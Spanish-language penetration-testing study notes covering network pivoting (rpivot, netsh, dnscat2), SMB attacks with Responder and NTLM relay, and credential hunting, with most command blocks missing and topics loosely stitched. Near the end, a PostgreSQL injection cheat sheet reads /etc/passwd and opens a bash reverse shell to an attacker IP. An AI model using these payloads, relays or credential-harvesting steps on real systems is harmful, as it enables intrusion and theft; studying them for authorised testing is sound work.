es una herramienta de reverse SOCKS proxy escrita en Python para el SOCKS tunneling. Rpivot vincula una máquina dentro de una red corporativa a un servidor externo y expone el puerto local del cliente en el lado del servidor. Tomaremos el siguiente escenario, donde tenemos un servidor web en nuestra red interna (172.16.5.135) y queremos acceder a él usando el proxy rpivot.
Podemos iniciar nuestro servidor SOCKS proxy de rpivot con el siguiente comando para permitir que el cliente se conecte al puerto 9999
y escuchar en el puerto 9050
para conexiones de pivoteo vía proxy.
Cloning rpivot
Installing Python2.7
Alternative Installation of Python2.7
Running server.py from the Attack Host
Luego de instalar Python 2.7, podemos lanzar el servidor de rpivot con server.py
para aceptar conexiones desde el cliente ubicado en el servidor Ubuntu comprometido.
Transfering rpivot to the Target
Antes de ejecutar client.py
, necesitamos transferir el directorio de rpivot al objetivo comprometido. Podemos hacerlo con el siguiente comando SCP:
Running client.py from Pivot Target
Esto establecerá una conexión inversa desde el host comprometido (Ubuntu) hacia nuestra máquina atacante.
Confirming Connection is Established
Luego, configuramos proxychains
para usar el servidor SOCKS que levantamos con rpivot
en 127.0.0.1:9050
.
Browsing to the Target Webserver using Proxychains
Finalmente, podremos acceder al servidor web interno (en la red 172.16.5.0/23
) apuntando al 172.16.5.135:80
, usando proxychains
y navegando con Firefox desde nuestra máquina atacante.
Similar al proxy de pivoting anterior, puede haber escenarios en los que no podamos pivotar directamente hacia un servidor externo (nuestra máquina atacante en la nube). Algunas organizaciones tienen proxies , configurados con el Controlador de Dominio (DC).
En estos casos, rpivot
permite añadir una opción adicional de autenticación NTLM proporcionando un usuario y contraseña válidos del dominio.
Connecting to a Web Server using HTTP-Proxy & NTLM Auth
es una herramienta de línea de comandos de Windows que puede ayudarnos con la configuración de red de un sistema Windows en particular. Estas son algunas de las tareas relacionadas con red que podemos realizar con Netsh:
Encontrar rutas.
Ver la configuración del firewall.
Añadir proxies.
Crear reglas de reenvío de puertos.
Tomemos como ejemplo el siguiente escenario, donde el host comprometido es una estación de trabajo con Windows 10 perteneciente a un administrador de TI (IPs: 10.129.15.150
, 172.16.5.25
). Hay que tener en cuenta que, durante un pentest, es posible acceder al equipo de un empleado mediante técnicas como ingeniería social o phishing. Esto nos permitiría pivotar más dentro de la red a la que pertenece esa estación de trabajo.
Using Netsh.exe to Port Forward
Podemos usar netsh.exe
para reenviar todo el tráfico recibido en un puerto específico (por ejemplo, el 8080) hacia un host remoto en un puerto remoto. Esto se puede hacer con el siguiente comando:
Verifying Port Forward
Connecting to the Internal Host through the Port Forward
Después de configurar el portproxy en nuestro host pivot basado en Windows, intentaremos conectarnos al puerto 8080 de ese host desde nuestra máquina atacante usando xfreerdp
. Una vez que se envíe una solicitud desde nuestra máquina, el host Windows redirigirá nuestro tráfico según la configuración del proxy definida con netsh.exe
.
es una herramienta de tunelización que utiliza el protocolo DNS para enviar datos entre dos hosts. Usa un canal C2 (Command and Control) cifrado y envía la información dentro de los registros TXT del protocolo DNS.
Normalmente, en entornos corporativos con dominios Active Directory, existe un servidor DNS que resuelve nombres de host a direcciones IP y redirige las consultas a servidores DNS externos. Sin embargo, con Dnscat2, la resolución de nombres se solicita desde un servidor externo controlado por el atacante. Cuando el DNS interno intenta resolver una dirección, en realidad se está exfiltrando información camuflada como una consulta DNS.
Este método es altamente sigiloso y puede evadir mecanismos de detección tradicionales, como los firewalls que inspeccionan conexiones HTTPS, ya que aprovecha la naturaleza "inocente" del tráfico DNS.
Cloning dnscat2 and Setting Up the Server
Si dnscat2 aún no está configurado en nuestra máquina atacante, podemos instalarlo y dejarlo listo con los siguientes comandos:
Starting the dnscat2 server
Luego de instalar y preparar el entorno, podemos iniciar el servidor de dnscat2 ejecutando el siguiente comando:
Cloning dnscat2-powershell to the Attack Host
Además, el servidor generará una clave secreta (--secret
) para cifrar la comunicación entre el cliente y el servidor. Esta clave debe usarse también en el cliente para establecer el canal C2.
Para el cliente, podemos usar:
El cliente original de dnscat2 (./dnscat
)
O bien, , una versión en PowerShell compatible con Windows.
Lo recomendable es clonar el repositorio que contiene el cliente en nuestra máquina atacante, y luego transferirlo al host comprometido para ejecutarlo y establecer el túnel DNS.
Importing dnscat2.ps1
Una vez que el archivo dnscat2.ps1
esté en el equipo comprometido, podemos importarlo en PowerShell con el siguiente comando:
Confirming Session Establishment
Después de importarlo, usaremos el módulo para establecer un túnel hacia nuestro servidor atacante que ya está ejecutando dnscat2
. Podemos enviar una sesión de shell tipo cmd
con este comando:
Listing dnscat2 Options
Es importante que el valor de -PreSharedSecret
coincida con el generado por el servidor para que la conexión se establezca de forma correcta y cifrada.
Si todo está configurado correctamente, veremos una nueva sesión activa en el servidor dnscat2
de nuestra máquina atacante.
Interacting with the Established Session
Podemos listar las opciones disponibles en dnscat2
escribiendo ?
en la consola del servidor.
Esto indica que la sesión está cifrada y autenticada correctamente (gracias al pre-shared key). Desde ahí, cualquier comando que escribamos se enviará al cliente Windows comprometido. Por ejemplo:
Puerto 139 es el canal que se utiliza en redes LAN para gestionar las sesiones de NetBIOS. Esto significa que, cuando una aplicación (como cliente) necesita comunicarse con otra (que actúa como servidor), lo hace a través de este puerto utilizando TCP. NetBIOS se encarga de que los dispositivos y aplicaciones se encuentren y se identifiquen en la red mediante nombres de hasta 16 caracteres, que pueden no coincidir con el nombre real del equipo.
En otras palabras, el puerto 139 es el punto de entrada para que las aplicaciones establezcan conexiones y compartan datos dentro de la red. Gracias a este protocolo, se facilita la transmisión de información y la localización de recursos, lo que resulta esencial en entornos donde la comunicación entre varios dispositivos es clave. Aunque en algunas configuraciones modernas se opta por otros métodos y puertos por temas de seguridad, el puerto 139 sigue siendo una parte importante en redes tradicionales y en ciertas aplicaciones que aún dependen de NetBIOS para funcionar correctamente.
El Puerto 445 se utiliza para implementar SMB (Server Message Blocks), también conocido en la actualidad como CIFS, sobre TCP/IP. Esto quiere decir que este puerto permite que dispositivos en una red compartan archivos, impresoras y otros recursos de manera directa.
A diferencia del Puerto 139, que opera con NetBIOS sobre IP (es decir, SMB a través de la capa adicional de NetBIOS), el Puerto 445 permite que SMB funcione directamente sobre TCP/IP. En entornos Windows, esto facilita la comunicación al eliminar la necesidad de NetBIOS, haciendo que el intercambio de datos sea más directo y eficiente.
Sin embargo, en otros sistemas o configuraciones que aún dependen de NetBIOS, es posible que se utilice el Puerto 139 para manejar SMB a través de esa capa extra. En resumen, el Puerto 445 ofrece una forma más moderna y optimizada de gestionar el intercambio de recursos en red, mientras que el Puerto 139 puede seguir en uso para mantener compatibilidad con sistemas antiguos o configuraciones específicas.
SMB es un protocolo cliente-servidor que facilita el acceso y compartición de recursos en red, como archivos, carpetas e impresoras. Se usa principalmente en entornos Windows, permitiendo la comunicación entre versiones modernas y antiguas, y gracias a Samba, también se implementa en Linux/Unix. Además, usa ACLs para asignar permisos específicos a usuarios o grupos, independientemente de los controles locales.
El acceso al recurso compartido IPC$ se puede obtener a través de una sesión nula anónima, permitiendo la interacción con servicios expuestos a través de tuberías con nombre. La utilidad enum4linux
es útil para este propósito. Utilizada correctamente, permite la adquisición de:
Información sobre el sistema operativo
Detalles sobre el dominio padre
Una compilación de usuarios y grupos locales
Información sobre los recursos compartidos SMB disponibles
La política de seguridad del sistema efectiva
Esta funcionalidad es crítica para los administradores de red y profesionales de seguridad para evaluar la postura de seguridad de los servicios SMB (Server Message Block) en una red. enum4linux
proporciona una vista completa del entorno SMB del sistema objetivo, lo cual es esencial para identificar vulnerabilidades potenciales y asegurar que los servicios SMB estén debidamente protegidos.
Verificar vulnerabilidades a través de Nmap
.
Dumping SAM
Dumping LSASS
Dumping NTDS.dit
El RID Cycling Attack se aprovecha del acceso a la compartición IPC$ para comunicarse con el servicio SAM mediante RPC. Esto permite iterar sobre los Relative Identifiers (RIDs) y, de ese modo, enumerar usuarios válidos en el sistema.
smbclient
psexec.py
smbexec.py
Impacket
CrackMapExec
Hay diferentes maneras de interactuar con una carpeta compartida en Windows, y exploraremos un par de ellas. En la interfaz gráfica de Windows, podemos presionar [WINKEY] + [R
] para abrir el cuadro de diálogo.
Ejecutar e introducir la ubicación del recurso compartido, por ejemplo: \\192.168.220.129\Finance\
Supongamos que la carpeta compartida permite la autenticación anónima o que nos autenticamos con un usuario con privilegios sobre ella. En ese caso, no recibiremos ninguna solicitud de autenticación y se mostrará el contenido de la carpeta compartida.
Si no tenemos acceso, recibiremos una solicitud de autenticación.
Windows tiene dos consolas de línea de comandos: Command Shell y PowerShell. Cada una es un programa que permite la comunicación directa entre nosotras y el sistema operativo o las aplicaciones, proporcionando un entorno para automatizar tareas administrativas.
Veamos algunos comandos para interactuar con recursos compartidos utilizando Command Shell (CMD) y PowerShell.
El comando dir
muestra una lista de los archivos y subdirectorios de un directorio.
El comando net use
conecta un equipo a un recurso compartido, lo desconecta o muestra información sobre las conexiones existentes. Podemos conectarnos a un recurso compartido y asignar su contenido a la letra de unidad n con el siguiente comando.
También podemos proporcionar un nombre de usuario y una contraseña para autenticarnos en el recurso compartido.
Una vez que la carpeta compartida está montada como la unidad N, podemos ejecutar comandos de Windows como si esta carpeta estuviera en nuestro propio equipo.
Veamos cuántos archivos contiene la carpeta compartida y sus subdirectorios.
Encontramos 29.302 archivos. Analicemos el comando:
El siguiente comando | find /c ":\\"
procesa la salida de dir n: /a-d /s /b
para contar cuántos archivos existen en el directorio y sus subdirectorios. Puedes usar dir /?
para ver la ayuda completa del comando.
Buscar entre 29,302 archivos puede llevar mucho tiempo, por eso usar scripts o herramientas de línea de comandos nos ayuda a agilizar el proceso. Con dir
podemos buscar nombres específicos dentro de los archivos, como por ejemplo:
cred
password
users
secrets
key
Y también extensiones comunes de código fuente como: .cs
, .c
, .go
, .java
, .php
, .asp
, .aspx
, .html
.
Si queremos buscar una palabra específica dentro de los archivos de texto, podemos usar el comando findstr
.
Podemos encontrar más ejemplos de findstr
.
PowerShell fue diseñada para ampliar las capacidades de la consola de comandos tradicional, permitiendo ejecutar comandos propios llamados cmdlets. Los cmdlets son similares a los comandos de Windows, pero ofrecen un lenguaje de scripting mucho más potente y extensible.
En PowerShell podemos ejecutar tanto comandos de Windows como cmdlets, mientras que la consola de comandos (CMD) solo puede ejecutar comandos tradicionales y no puede usar cmdlets de PowerShell.
Ahora vamos a replicar los mismos comandos usando PowerShell.
En lugar de net use
, podemos usar New-PSDrive
para montar el recurso compartido:
Para proporcionar un nombre de usuario y contraseña en PowerShell, necesitamos crear un objeto PSCredential
:
Podemos usar Get-ChildItem
(o su alias gci
) para buscar archivos de forma recursiva:
Buscar archivos que contengan “cred” en el nombre:
El cmdlet Select-String
utiliza coincidencias con expresiones regulares para buscar patrones de texto en cadenas de entrada y archivos. Podemos usar Select-String
de forma similar a grep
en UNIX o findstr.exe
en Windows.
La línea de comandos permite automatizar tareas rutinarias como la gestión de cuentas de usuario, copias de seguridad nocturnas o la interacción con muchos archivos. Podemos realizar estas operaciones de forma más eficiente utilizando scripts en lugar de la interfaz gráfica (GUI).
Linux (UNIX) también puede usarse para explorar y montar recursos compartidos SMB. Esto puede hacerse tanto si el servidor de destino es una máquina Windows como si es un servidor Samba. Aunque algunas distribuciones de Linux tienen interfaz gráfica, aquí nos enfocaremos en el uso de herramientas y utilidades de línea de comandos para interactuar con SMB.
Veamos cómo montar recursos compartidos SMB para interactuar localmente con directorios y archivos.
Como alternativa, podemos usar un archivo de credenciales:
El archivo credentialfile
debe tener esta estructura:
Una vez montada la carpeta compartida, podemos usar herramientas comunes de Linux como find
o grep
para interactuar con la estructura de archivos.
Buscar un archivo cuyo nombre contenga la cadena cred
:
Antes de ver cómo ejecutar comandos en un sistema remoto usando SMB, hablemos de Sysinternals. El sitio web de Windows Sysinternals fue creado en 1996 por Mark Russinovich y Bryce Cogswell, ofreciendo herramientas y recursos técnicos para administrar, diagnosticar, solucionar problemas y monitorear entornos Windows. Microsoft adquirió Sysinternals el 18 de julio de 2006.
Sysinternals incluía varias herramientas gratuitas para administrar sistemas Windows, y una de las más conocidas es PsExec.
PsExec nos permite ejecutar procesos en sistemas remotos sin necesidad de instalar software cliente. Funciona porque lleva un servicio de Windows incorporado dentro de su ejecutable. Este servicio se copia en el recurso compartido admin$
de la máquina remota y se inicia utilizando la API del Service Control Manager a través de DCE/RPC sobre SMB. Luego, se crea una named pipe para enviar los comandos al sistema.
Además de la versión oficial de PsExec, existen implementaciones en Linux, como:
Impacket PsExec – Implementación en Python basada en RemComSvc.
Impacket SMBExec – Similar a PsExec, pero sin usar RemComSvc. Usa un servidor SMB local para recibir salida.
Impacket atexec – Ejecuta comandos usando el Task Scheduler.
CrackMapExec – Incluye implementación de smbexec
y atexec
.
Metasploit PsExec – Implementación en Ruby del módulo PsExec.
Para usar impacket-psexec, necesitamos proporcionar el dominio/usuario, la contraseña y la dirección IP de la máquina objetivo. Para obtener información más detallada, podemos usar la ayuda de impacket:
Para conectarnos a una máquina remota usando una cuenta de administrador local con impacket-psexec, podemos utilizar el siguiente comando:
Las mismas opciones se aplican a las herramientas impacket-smbexec e impacket-atexec.
Otra herramienta que podemos usar para ejecutar comandos CMD o PowerShell es CrackMapExec. Una de sus ventajas es que permite ejecutar comandos en múltiples hosts al mismo tiempo.
Para usarla, debemos especificar:
el protocolo, por ejemplo smb
la IP o rango de IPs
la opción -u
para el nombre de usuario
la opción -p
para la contraseña
la opción -x
para ejecutar comandos CMD
la opción -X
(mayúscula) para ejecutar comandos PowerShell
También podemos abusar del protocolo SMB creando un servidor SMB falso para capturar los hashes NetNTLM v1/v2 de los usuarios.
La herramienta más común para esto es Responder. Responder es una herramienta de envenenamiento de LLMNR, NBT-NS y MDNS, con varias funcionalidades, entre ellas la posibilidad de levantar servicios falsos, como SMB, para capturar hashes NetNTLM. En su configuración por defecto, escucha tráfico LLMNR y NBT-NS, responde en nombre de los servidores que la víctima busca, y captura los hashes que se generen.
Imaginemos un ejemplo: creamos un servidor SMB falso con Responder usando su configuración por defecto:
Cuando una máquina necesita resolver un nombre (Name Resolution), sigue un flujo como este:
Verifica el archivo hosts
local (C:\Windows\System32\Drivers\etc\hosts
)
Consulta el caché local DNS
Consulta un servidor DNS configurado
Si todo falla, lanza una consulta multicast (LLMNR/NBT-NS)
Si un usuario comete un error al escribir el nombre de una carpeta compartida (por ejemplo, \\mysharefoder\
en lugar de \\mysharedfolder\
), y ese nombre no existe, se lanza una consulta a toda la red, incluyéndonos a nosotras con el servidor falso. El sistema no valida las respuestas, así que podemos engañarlo fácilmente y capturar credenciales.
Estas credenciales capturadas pueden ser crackeadas con hashcat o retransmitidas a una máquina remota para completar la autenticación e impersonar al usuario.
Todos los hashes capturados se guardan en el directorio de logs de Responder:
/usr/share/responder/logs/
Nota: si ves múltiples hashes para una misma cuenta, es porque NTLMv2 usa un challenge tanto del cliente como del servidor, y ambos son aleatorios en cada interacción. Esto hace que los hashes generados estén salteados con cadenas aleatorias, por lo tanto no coinciden entre sí, aunque representen la misma contraseña.
El hash NTLMv2 fue descifrado. La contraseña es P@ssword. Si no podemos descifrar el hash, podemos potencialmente reenviarlo a otra máquina usando impacket-ntlmrelayx o Responder MultiRelay.py. Veamos un ejemplo usando impacket-ntlmrelayx.
Primero, necesitamos establecer SMB en OFF en nuestro archivo de configuración de responder (/etc/responder/Responder.conf).
Luego ejecutamos impacket-ntlmrelayx con la opción --no-http-server
, -smb2support
, y la máquina objetivo con la opción -t
. Por defecto, impacket-ntlmrelayx volcará la base de datos SAM, pero podemos ejecutar comandos agregando la opción -c
.
Podemos crear una reverse shell en PowerShell usando , configurando la IP de nuestra máquina, el puerto, y seleccionando la opción Powershell #3 (Base64).
Una vez que la víctima se autentica contra nuestro servidor, envenenamos la respuesta y forzamos la ejecución del comando, obteniendo la reverse shell:
La búsqueda de credenciales es uno de los primeros pasos una vez que tenemos acceso al sistema. Estos frutos maduros pueden darnos privilegios elevados en cuestión de segundos o minutos. Entre otras cosas, esto es parte del proceso de escalada de privilegios local que cubriremos aquí. Sin embargo, es importante señalar aquí que estamos lejos de cubrir todas las situaciones posibles y por lo tanto nos centramos en los diferentes enfoques.
Podemos imaginar que hemos conseguido acceder a un sistema a través de una aplicación web vulnerable y, por lo tanto, hemos obtenido una shell inversa, por ejemplo. Por lo tanto, para escalar nuestros privilegios de la forma más eficiente, podemos buscar contraseñas o incluso credenciales completas que podamos utilizar para iniciar sesión en nuestro objetivo. Hay varias fuentes que pueden proporcionarnos credenciales que clasificamos en cuatro categorías.
Estas incluyen, pero no se limitan a:
Enumerar todas estas categorías nos permitirá aumentar la probabilidad de averiguar con cierta facilidad las credenciales de los usuarios existentes en el sistema. Existen innumerables situaciones diferentes en las que siempre veremos resultados distintos. Por lo tanto, debemos adaptar nuestro enfoque a las circunstancias del entorno y tener en cuenta el panorama general. Sobre todo, es crucial tener en cuenta cómo funciona el sistema, su enfoque, para qué existe y qué papel desempeña en la lógica empresarial y en la red global.
Por ejemplo, supongamos que se trata de un servidor de base de datos aislado. En ese caso, no necesariamente encontraremos allí usuarios normales, ya que se trata de una interfaz sensible en la gestión de datos a la que sólo unas pocas personas tienen acceso.
Un principio básico de Linux es que todo es un archivo. Por lo tanto, es crucial tener este concepto en mente y buscar, encontrar y filtrar los archivos apropiados según nuestros requisitos. Debemos buscar, encontrar e inspeccionar varias categorías de archivos uno por uno. Estas categorías son las siguientes:
Los archivos de configuración son el núcleo de la funcionalidad de los servicios en las distribuciones Linux. A menudo contienen incluso credenciales que podremos leer. Su conocimiento también nos permite entender cómo funciona el servicio y sus requisitos con precisión. Normalmente, los archivos de configuración están marcados con las siguientes tres extensiones de archivo (.config, .conf, .cnf). Sin embargo, estos archivos de configuración o los archivos de extensión asociados pueden renombrarse, lo que significa que estas extensiones de archivo no son necesariamente necesarias. Además, incluso al recompilar un servicio, se puede cambiar el nombre de archivo requerido para la configuración básica, lo que tendría el mismo efecto. Sin embargo, este es un caso raro con el que no nos encontraremos a menudo, pero esta posibilidad no debe quedar fuera de nuestra búsqueda.
La parte más crucial de cualquier enumeración de un sistema es obtener una visión general del mismo. Por lo tanto, el primer paso debe ser encontrar todos los posibles archivos de configuración del sistema, que luego podremos examinar y analizar individualmente con más detalle. Hay muchos métodos para encontrar estos archivos de configuración, y con el siguiente método, veremos que hemos reducido nuestra búsqueda a estas tres extensiones de archivo.
Opcionalmente, podemos guardar el resultado en un archivo de texto y utilizarlo para examinar los archivos individuales uno tras otro. Otra opción es ejecutar el análisis directamente para cada archivo encontrado con la extensión especificada y mostrar el contenido. En este ejemplo, buscamos tres palabras (user, password, pass) en cada fichero con extensión .cnf.
También podemos aplicar esta sencilla búsqueda a otras extensiones de archivo. Además, podemos aplicar este tipo de búsqueda a bases de datos almacenadas en archivos con diferentes extensiones de archivo, y luego podemos leerlas.
Dependiendo del entorno en el que nos encontremos y del propósito del host en el que estemos, a menudo podemos encontrar notas sobre procesos específicos del sistema. Éstas a menudo incluyen listas de diferentes puntos de acceso o incluso sus credenciales.
Sin embargo, a menudo es difícil encontrar notas de inmediato si están almacenadas en algún lugar del sistema y no en el escritorio o en sus subcarpetas. Esto se debe a que pueden llamarse como se quiera y no tienen por qué tener una extensión de archivo específica, como .txt. Por lo tanto, en este caso, tenemos que buscar archivos que incluyan la extensión de archivo .txt y archivos que no tengan ninguna extensión de archivo.
Los scripts son archivos que a menudo contienen información y procesos altamente sensibles. Entre otras cosas, también contienen las credenciales necesarias para poder llamar y ejecutar los procesos automáticamente. De lo contrario, el administrador o desarrollador tendría que introducir la contraseña correspondiente cada vez que se llamara al script o al programa compilado.
Cronjobs son ejecuciones independientes de comandos, programas, scripts. Se dividen en el área de todo el sistema (/etc/crontab) y ejecuciones dependientes del usuario. Algunas aplicaciones y scripts requieren credenciales para ejecutarse y, por lo tanto, se introducen incorrectamente en los cronjobs. Además, existen las áreas que se dividen en diferentes intervalos de tiempo (/etc/cron.daily, /etc/cron.hourly, /etc/cron.monthly, /etc/cron.weekly). Los scripts y archivos utilizados por cron también pueden encontrarse en /etc/cron.d/ para las distribuciones basadas en Debian.
Las claves SSH pueden considerarse «tarjetas de acceso» al protocolo SSH utilizado para el mecanismo de autenticación de clave pública. Se genera un archivo para el cliente (clave privada) y otro correspondiente para el servidor (clave pública). Sin embargo, éstas no son iguales, por lo que conocer la clave pública es insuficiente para encontrar una clave privada. La clave pública puede verificar las firmas generadas por la clave privada SSH y permitir así el inicio de sesión automático en el servidor. Aunque personas no autorizadas se hagan con la clave pública, es casi imposible calcular la privada coincidente a partir de ella. Al conectarse al servidor utilizando la clave privada SSH, el servidor comprueba si la clave privada es válida y permite al cliente iniciar la sesión en consecuencia. Así, ya no se necesitan contraseñas para conectarse a través de SSH.
Como las claves SSH pueden tener nombres arbitrarios, no podemos buscar en ellas nombres concretos. Sin embargo, su formato nos permite identificarlas unívocamente porque, ya sean de clave pública o de clave privada, ambas tienen primeras líneas únicas para distinguirlas.
Todos los archivos de historial proporcionan información crucial sobre el curso actual y pasado/histórico de los procesos. Nos interesan los archivos que almacenan el historial de comandos de los usuarios y los registros que almacenan información sobre los procesos del sistema.
En el historial de los comandos introducidos en las distribuciones de Linux que utilizan Bash como shell estándar, encontramos los archivos asociados en .bash_history. Sin embargo, otros archivos como .bashrc o .bash_profile pueden contener información importante.
Un concepto esencial de los sistemas Linux son los archivos de registro que se almacenan en archivos de texto. Muchos programas, especialmente todos los servicios y el propio sistema, escriben este tipo de archivos. En ellos encontramos errores del sistema, detectamos problemas relacionados con los servicios o seguimos lo que el sistema está haciendo en segundo plano. La totalidad de los archivos de registro se puede dividir en cuatro categorías:
Existen muchos registros diferentes en el sistema. Éstos pueden variar en función de las aplicaciones instaladas, pero he aquí algunos de los más importantes:
Cubrir el análisis de estos archivos de registro en detalle sería ineficaz en este caso. Así que en este punto, debemos familiarizarnos con los registros individuales, primero examinándolos manualmente y entendiendo sus formatos. Sin embargo, aquí hay algunas cadenas que podemos usar para encontrar contenido interesante en los registros:
Muchas aplicaciones y procesos trabajan con credenciales necesarias para la autenticación y las almacenan en memoria o en archivos para poder reutilizarlas. Por ejemplo, pueden ser las credenciales requeridas por el sistema para los usuarios que inician sesión. Otro ejemplo son las credenciales almacenadas en los navegadores, que también pueden ser leídas. Para recuperar este tipo de información de las distribuciones Linux, existe una herramienta llamada que facilita todo el proceso. Sin embargo, esta herramienta requiere permisos de administrador/root.
Una herramienta aún más potente que podemos utilizar y que se mencionó anteriormente en la sección Caza de credenciales en Windows es LaZagne. Esta herramienta nos permite acceder a muchos más recursos y extraer las credenciales. Las contraseñas y hashes que podemos obtener provienen de las siguientes fuentes pero no se limitan a:
Por ejemplo, los Keyrings
se utilizan para almacenar y gestionar de forma segura las contraseñas en las distribuciones Linux. Las contraseñas se almacenan encriptadas y protegidas con una contraseña maestra. Se trata de un gestor de contraseñas basado en el sistema operativo, del que hablaremos más adelante en otra sección. De esta forma, no necesitamos recordar todas y cada una de las contraseñas y podemos guardar entradas de contraseñas repetidas.
Los navegadores almacenan las contraseñas guardadas por el usuario de forma cifrada localmente en el sistema para su reutilización. Por ejemplo, Mozilla Firefox almacena las credenciales cifradas en una carpeta oculta para el usuario correspondiente. Estas suelen incluir los nombres de campo, las URL y otra información valiosa.
Por ejemplo, al almacenar las credenciales de una página web en Firefox, estas se cifran y se almacenan en logins.json en el sistema. Sin embargo, esto no significa que estén seguras allí. Muchos empleados almacenan estos datos de inicio de sesión en su navegador sin sospechar que pueden descifrarse fácilmente y utilizarse en contra de la empresa.
La herramienta Firefox Decrypt
es excelente para descifrar estas credenciales y se actualiza periódicamente. Requiere Python 3.9 para ejecutar la última versión. De lo contrario, se debe usar Firefox Decrypt 0.7.0 con Python 2.
Decrypting Firefox Credentials
Normalmente es neceario disponer de los siguientes archivos:
Browsers - LaZagne
Alternativamente, LaZagne también puede devolver resultados si el usuario ha utilizado el navegador compatible.
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
\l
\c <database_name>
\dt
SELECT * FROM <table_name>;
''; SELECT pg_read_file('/etc/passwd',0,1000);
''; SELECT pg_ls_dir('/var/www/');
'';DO $reverse$
DECLARE
s text;
BEGIN
s := CHR(67)||CHR(79)||CHR(80)||CHR(89)||
' (SELECT '''') TO PROGRAM ' ||
quote_literal('bash -c "bash -i >& /dev/tcp/10.10.16.9/443 0>&1"');
EXECUTE s;
END $reverse$;
gzzcoo@nobody[/tmp]$ nmap -sT -p22,3306 10.129.202.64
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-24 12:12 EST
Nmap scan report for 10.129.202.64
Host is up (0.12s latency).
PORT STATE SERVICE
22/tcp open ssh
3306/tcp closed mysql
Nmap done: 1 IP address (1 host up) scanned in 0.68 seconds
gzzcoo@nobody[/tmp]$ ssh -L 1234:localhost:3306 ubuntu@10.129.202.64
gzzcoo@nobody[/tmp]$ netstat -antp | grep 1234
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.1:1234 0.0.0.0:* LISTEN 4034/ssh
tcp6 0 0 ::1:1234 :::* LISTEN 4034/ssh
gzzcoo@nobody[/tmp]$ nmap -v -sV -p1234 localhost
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-24 12:18 EST
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 12:18
Scanning localhost (127.0.0.1) [2 ports]
Completed Ping Scan at 12:18, 0.01s elapsed (1 total hosts)
Initiating Connect Scan at 12:18
Scanning localhost (127.0.0.1) [1 port]
Discovered open port 1234/tcp on 127.0.0.1
Completed Connect Scan at 12:18, 0.01s elapsed (1 total ports)
Initiating Service scan at 12:18
Scanning 1 service on localhost (127.0.0.1)
Completed Service scan at 12:18, 0.12s elapsed (1 service on 1 host)
NSE: Script scanning 127.0.0.1.
Initiating NSE at 12:18
Completed NSE at 12:18, 0.01s elapsed
Initiating NSE at 12:18
Completed NSE at 12:18, 0.00s elapsed
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0080s latency).
Other addresses for localhost (not scanned): ::1
PORT STATE SERVICE VERSION
1234/tcp open mysql MySQL 8.0.28-0ubuntu0.20.04.3
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.18 seconds
gzzcoo@nobody[/tmp]$ ssh -L 1234:localhost:3306 -L 8080:localhost:80 ubuntu@10.129.202.64
gzzcoo@nobody[/tmp]$ ssh -D 9050 ubuntu@10.129.202.64
gzzcoo@nobody[/tmp]$ tail -4 /etc/proxychains.conf
# meanwile
# defaults set to "tor"
socks4 127.0.0.1 9050
gzzcoo@nobody[/tmp]$ proxychains nmap -v -sn 172.16.5.1-200
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-24 12:30 EST
Initiating Ping Scan at 12:30
Scanning 10 hosts [2 ports/host]
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.2:80-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.5:80-<><>-OK
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.6:80-<--timeout
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
<SNIP>
gzzcoo@nobody[/tmp]$ proxychains nmap -v -Pn -sT 172.16.5.19
ProxyChains-3.1 (http://proxychains.sf.net)
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-24 12:33 EST
Initiating Parallel DNS resolution of 1 host. at 12:33
Completed Parallel DNS resolution of 1 host. at 12:33, 0.15s elapsed
Initiating Connect Scan at 12:33
Scanning 172.16.5.19 [1000 ports]
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:1720-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:587-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:445-<><>-OK
Discovered open port 445/tcp on 172.16.5.19
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:8080-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:23-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:135-<><>-OK
Discovered open port 135/tcp on 172.16.5.19
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:110-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:21-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:554-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-1172.16.5.19:25-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:5900-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:1025-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:143-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:199-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:993-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:995-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:3389-<><>-OK
Discovered open port 3389/tcp on 172.16.5.19
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:443-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:80-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:113-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:8888-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:139-<><>-OK
Discovered open port 139/tcp on 172.16.5.19
